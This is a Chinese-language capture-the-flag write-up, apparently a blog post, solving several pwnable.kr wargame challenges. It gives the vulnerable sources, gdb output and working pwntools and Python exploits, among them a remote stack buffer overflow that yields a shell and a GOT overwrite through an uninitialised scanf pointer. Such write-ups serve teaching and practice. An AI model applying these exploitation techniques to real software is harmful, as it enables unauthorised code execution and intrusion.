一些pwn题目的解题思路[pwnable.kr]

目录

以下是solution的目录

Other

一些pwn题目的解题思路[pwnable.kr] II

fd

根据题目描述,登录上服务器,ls一下

fd@ubuntu:~$ lsfd fd.c flagfd@ubuntu:~$ cat flagcat: flag: Permission denied

肯定flag也不能直接读取,既然给了源代码,就顺便看一下。

#include <stdio.h>#include <stdlib.h>#include <string.h>char buf[32];int main(int argc, char* argv[], char* envp[]){ if(argc<2){ printf("pass argv[1] a number\n"); return 0; } int fd = atoi( argv[1] ) - 0x1234; int len = 0; len = read(fd, buf, 32); if(!strcmp("LETMEWIN\n", buf)){ printf("good job :)\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\n"); return 0;}

这道题的考点就是fd = 0为linux下的标准输入。只要让atoi(argv[1])-0x1234 = 0即可,然后再输入LETMEWIN即可。

fd@ubuntu:~$ ./fd 4660LETMEWINgood job :)mommy! I think I know what a file descriptor is!!

collision

给了题目的源代码

#include <stdio.h>#include <string.h>unsigned long hashcode = 0x21DD09EC;unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i<5; i++){ res += ip[i]; } return res;}int main(int argc, char* argv[]){ if(argc<2){ printf("usage : %s [passcode]\n", argv[0]); return 0; } if(strlen(argv[1]) != 20){ printf("passcode length should be 20 bytes\n"); return 0; } if(hashcode == check_password( argv[1] )){ system("/bin/cat flag"); return 0; } else printf("wrong passcode.\n"); return 0;}

逻辑很简单,把20个字符分成5组,每组四个。只要让5组的字符串的ascii加起来等于0x21DD09EC即可。

开始我的思路是分成0x21DD09EC和4组全0,但是过不了strlen的长度判断。只能变成四组0x01010101和一组0x1DD905E8。

col@ubuntu:~$ pythonPython 2.7.12 (default, Jul 1 2016, 15:12:24) [GCC 5.4.0 20160609] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> from pwn import *>>> payload = p32(0x1dd905e8) + p32(0x01010101) * 4>>> io = process(["./col", payload])[x] Starting local process './col'[+] Starting local process './col': Done>>> io.recv()[*] Process './col' stopped with exit code 0'daddy! I just managed to create a hash collision :)\n'>>>

bof

#include <stdio.h>#include <string.h>#include <stdlib.h>void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); }}int main(int argc, char* argv[]){ func(0xdeadbeef); return 0;}

一个典型的缓冲区溢出,只要把key覆盖没0xcafebabe即可。

[----------------------------------registers-----------------------------------]EAX: 0xffffd63c ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")EBX: 0xf7fc3000 --> 0x1a6da8 ECX: 0xfbad2288 EDX: 0xf7fc48a4 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0xffffd668 ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")ESP: 0xffffd620 --> 0xffffd63c ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")EIP: 0x8048525 (<func+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe)EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x804851a <func+29>: lea eax,[ebp-0x2c] 0x804851d <func+32>: mov DWORD PTR [esp],eax 0x8048520 <func+35>: call 0x80483a0 <gets@plt>=> 0x8048525 <func+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe 0x804852c <func+47>: jne 0x804853c <func+63> 0x804852e <func+49>: mov DWORD PTR [esp],0x804861f 0x8048535 <func+56>: call 0x80483d0 <system@plt> 0x804853a <func+61>: jmp 0x8048548 <func+75>[------------------------------------stack-------------------------------------]0000| 0xffffd620 --> 0xffffd63c ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")0004| 0xffffd624 --> 0x0 0008| 0xffffd628 --> 0xc2 0012| 0xffffd62c --> 0xf7eb0716 (test eax,eax)0016| 0xffffd630 --> 0xffffffff 0020| 0xffffd634 --> 0xffffd65e ("AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")0024| 0xffffd638 --> 0xf7e28c34 --> 0x2aad 0028| 0xffffd63c ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")[------------------------------------------------------------------------------]Legend: code, data, rodata, value8 if(key == 0xcafebabe){gdb-peda$ p $ebp+8$1 = (void *) 0xffffd670gdb-peda$ x/20wx $ebp+80xffffd670: 0x41474141 0x41416341 0x48414132 0x416441410xffffd680: 0x41413341 0x65414149 0x41344141 0x41414a410xffffd690: 0x35414166 0x414b4141 0x41416741 0x4c4141360xffffd6a0: 0x00000000 0xffffd724 0xffffd6c4 0x0804a0240xffffd6b0: 0x0804825c 0xf7fc3000 0x00000000 0x00000000gdb-peda$ pattern_offset 0x414741411095188801 found at offset: 52

找到53-56个字节即可覆盖key。

from pwn import *io = remote("pwnable.kr", 9000)payload = "a" * 52 + p32(0xcafebabe)io.sendline(payload)io.interactive()

运行exploit:

~/pwn/pwnkr/3 » python exp.py[+] Opening connection to pwnable.kr on port 9000: Done[*] Switching to interactive mode$ lsbofbof.cflagloglog2super.pl$ cat flagdaddy, I just pwned a buFFer :)$

flag

一看bin,是经过upx加壳的,直接用upx脱壳。

~/pwn/pwnkr/4/upx-3.93-amd64_linux » ./upx -d ../flag user@ubuntu Ultimate Packer for eXecutables Copyright (C) 1996 - 2017UPX 3.93 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 29th 2017 File size Ratio Format Name -------------------- ------ ----------- ----------- 887219 <- 335288 37.79% linux/amd64 flagUnpacked 1 file.

调试一下直接出flag

[-------------------------------------code-------------------------------------] 0x40118b <main+39>: mov rax,QWORD PTR [rbp-0x8] 0x40118f <main+43>: mov rsi,rdx 0x401192 <main+46>: mov rdi,rax=> 0x401195 <main+49>: call 0x400320 0x40119a <main+54>: mov eax,0x0 0x40119f <main+59>: leave 0x4011a0 <main+60>: ret 0x4011a1: nopGuessed arguments:arg[0]: 0x6c96b0 --> 0x0 arg[1]: 0x496628 ("UPX...? sounds like a delivery service :)")arg[2]: 0x496628 ("UPX...? sounds like a delivery service :)")[------------------------------------stack-------------------------------------]0000| 0x7fffffffe510 --> 0x401a50 (<__libc_csu_init>: push r14)0008| 0x7fffffffe518 --> 0x6c96b0 --> 0x0 0016| 0x7fffffffe520 --> 0x0 0024| 0x7fffffffe528 --> 0x401344 (<__libc_start_main+404>: mov edi,eax)0032| 0x7fffffffe530 --> 0x0 0040| 0x7fffffffe538 --> 0x100000000 0048| 0x7fffffffe540 --> 0x7fffffffe618 --> 0x7fffffffe852 ("/home/user/pwn/pwnkr/4/flag")0056| 0x7fffffffe548 --> 0x401164 (<main>: push rbp)[------------------------------------------------------------------------------]Legend: code, data, rodata, value0x0000000000401195 in main ()gdb-peda$

passcode

#include <stdio.h>#include <stdlib.h>void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); }}void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name);}int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; }

题目描述如下:

Mommy told me to make a passcode based login system. My initial C code was compiled without any error! Well, there was some compiler warning, but who cares about that?

告诉我们注意下编译时的warning

~/pwn/pwnkr/5 » gcc -m32 5.c -o 55.c: In function ‘login’:5.c:9:5: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=] scanf("%d", passcode1); ^5.c:14:9: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=] scanf("%d", passcode2);

很明显的错误,使用scanf输入int类型的时候没有添加取地址符。但是,这只能说是一个bug,并不能说是漏洞。

scanf("%d", passcode1);

只要能控制passcode1的地址,就可以完成一个任意地址写。注意到login函数前面,有一个welcome函数,使用gdb调一下。

[----------------------------------registers-----------------------------------]EAX: 0x0 EBX: 0xf7fc3000 --> 0x1a6da8 ECX: 0x0 EDX: 0xf7fc4898 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0xffffd668 --> 0xffffd688 --> 0x0 ESP: 0xffffd640 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")EIP: 0x80485b3 (<login+6>: mov DWORD PTR [esp],0x8048770)EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x80485ad <login>: push ebp 0x80485ae <login+1>: mov ebp,esp 0x80485b0 <login+3>: sub esp,0x28=> 0x80485b3 <login+6>: mov DWORD PTR [esp],0x8048770 0x80485ba <login+13>: call 0x8048420 <printf@plt> 0x80485bf <login+18>: mov eax,DWORD PTR [ebp-0x10] 0x80485c2 <login+21>: mov DWORD PTR [esp+0x4],eax 0x80485c6 <login+25>: mov DWORD PTR [esp],0x8048783[------------------------------------stack-------------------------------------]0000| 0xffffd640 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")0004| 0xffffd644 ("AA4AAJAAfAA5AAKAAgAA6AAL")0008| 0xffffd648 ("AJAAfAA5AAKAAgAA6AAL")0012| 0xffffd64c ("fAA5AAKAAgAA6AAL")0016| 0xffffd650 ("AAKAAgAA6AAL")0020| 0xffffd654 ("AgAA6AAL")0024| 0xffffd658 ("6AAL")0028| 0xffffd65c --> 0xb7a3f600 [------------------------------------------------------------------------------]Legend: code, data, rodata, valueBreakpoint 1, login () at 5.c:88 printf("enter passcode1 : ");gdb-peda$ x/wx $ebp-0x100xffffd658: 0x4c414136gdb-peda$ x/20wx $ebp-0x100xffffd658: 0x4c414136 0xb7a3f600 0x00000000 0x000000000xffffd668: 0xffffd688 0x080486c8 0x080487f0 0xf7ffd0000xffffd678: 0x080486eb 0xf7fc3000 0x080486e0 0x000000000xffffd688: 0x00000000 0xf7e35ad3 0x00000001 0xffffd7240xffffd698: 0xffffd72c 0xf7feacca 0x00000001 0xffffd724gdb-peda$ pattern_offset 0x4c4141361279344950 found at offset: 96

可以看出welcome函数输入的第97-100个字节正好覆盖掉passcode1的地址,所以这就是一个任意地址写。但是程序有Canary,不过没关系,因为canary的第一个字节也是0x00。所以,剩下的思路就是GOT覆盖,覆盖printf的GOT表。可以选择用system覆盖,传入/bin/sh反弹一个shell。不过程序中已经有了读取flag的代码,直接用就可以了。

80485ce: 81 7d f4 c9 07 cc 00 cmpl $0xcc07c9,-0xc(%ebp)80485d5: 75 1a jne 80485f1 <login+0x8d>80485d7: c7 04 24 a5 87 04 08 movl $0x80487a5,(%esp)80485de: e8 6d fe ff ff call 8048450 <puts@plt>80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp)80485ea: e8 71 fe ff ff call 8048460 <system@plt>80485ef: c9 leave 80485f0: c3 ret 80485f1: c7 04 24 bd 87 04 08 movl $0x80487bd,(%esp)80485f8: e8 53 fe ff ff call 8048450 <puts@plt>80485fd: c7 04 24 00 00 00 00 movl $0x0,(%esp)8048604: e8 77 fe ff ff call 8048480 <exit@plt>

读flag代码的地址为0x80485e3i

passcode@ubuntu:~$ python -c "print 'A' * 96 + '\x00\xa0\x04\x08' + '134514147\n'" | ./passcodeToddler's Secure Login System 1.0 beta.enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!Sorry mom.. I got confused about scanf usage :(enter passcode1 : Now I can safely trust you that you have credential :)

random

#include <stdio.h>int main(){ unsigned int random; random = rand(); // random value! unsigned int key=0; scanf("%d", &key); if( (key ^ random) == 0xdeadbeef ){ printf("Good!\n"); system("/bin/cat flag"); return 0; } printf("Wrong, maybe you should try 2^32 cases.\n"); return 0;}

rand函数是固定种子生成的,不同机器种子不一样。所以这个程序在一台机器上运行每次rand的结果都为固定的一个值。通过调试看这太服务器rand的值是多少。

(gdb) disassDump of assembler code for function main: 0x00000000004005f4 <+0>: push %rbp 0x00000000004005f5 <+1>: mov %rsp,%rbp=> 0x00000000004005f8 <+4>: sub $0x10,%rsp 0x00000000004005fc <+8>: mov $0x0,%eax 0x0000000000400601 <+13>: callq 0x400500 <rand@plt> 0x0000000000400606 <+18>: mov %eax,-0x4(%rbp) End of assembler dump.(gdb) b *0x0000000000400606Breakpoint 2 at 0x400606(gdb) cContinuing.Breakpoint 2, 0x0000000000400606 in main ()(gdb) print $eax$1 = 1804289383

所以rand固定的值为1804289383

random@ubuntu:~$ pythonPython 2.7.12 (default, Jul 1 2016, 15:12:24) [GCC 5.4.0 20160609] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> from pwn import *>>> payload = str(1804289383 ^ 0xdeadbeef)>>> io = process("./random")[x] Starting local process './random'[+] Starting local process './random': Done>>> io.sendline(payload)>>> io.recv()[*] Process './random' stopped with exit code 0'Good!\nMommy, I thought libc random is unpredictable...\n'>>>

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏蓝天

boost库thread.hpp编译警告honored已修复

请浏览:https://svn.boost.org/trac/boost/ticket/7874

10020
来自专栏hbbliyong

项目重构--使用策略模式

  大家先看下下面这段代码有什么感受? using System; using System.Collections.Generic; using Syste...

40190
来自专栏叁金大数据

WPF播放器

最近由于工作需要,需要做一个播放软件,在网上参考了很多例子,园子里有很多代码。其中最多的就是wpf自带的MediaElement控件,或者VLC视频播放器。

37920
来自专栏Django Scrapy

linux下join命令的用法

功能说明:将两个文件中,指定栏位内容相同的行连接起来。 语  法:join [-i][-a<1或2>][-e<字符串>][-o<格式>] [-t<字符>][-v...

33670
来自专栏游戏杂谈

cocos2d-x 2.x版本接入bugly的总结

最开始项目使用的是自己DIY的很简陋的上报系统,后来改成google breakpad来上报,发现其实都做的不太理想,游戏引擎因为版本历史问题存在一些崩溃问题。...

20900
来自专栏WindCoder

Best Programming Editors? A Never Ending Battle With No Clear Winner

原文:Best Programming Editors? A Never Ending Battle With No Clear Winner

7910
来自专栏图像识别与深度学习

《Android》Lesson06-Intent2

21460
来自专栏技术之路

Qt 学习笔记 TreeWidget 增删改

在窗体上放一个TreeWidget控件和四个PushButton加一个Horizontal Spacer 布局如图 ? 给树添加元素节点的方法和实现 .h文件 ...

27380
来自专栏一“技”之长

iOS NSTimer 定时器用法总结 原

NSTimer在IOS开发中会经常用到,尤其是小型游戏,然而对于初学者时常会注意不到其中的内存释放问题,将其基本用法总结如下:

7410
来自专栏Kubernetes

Kubernetes GC in v1.3

本文是对kubernetes GC proposal的解读分析,是对GC in kubernetes v1.3的内部结构剖析,并记录了其中一些关键点,以便日后能...

30950

扫码关注云+社区

领取腾讯云代金券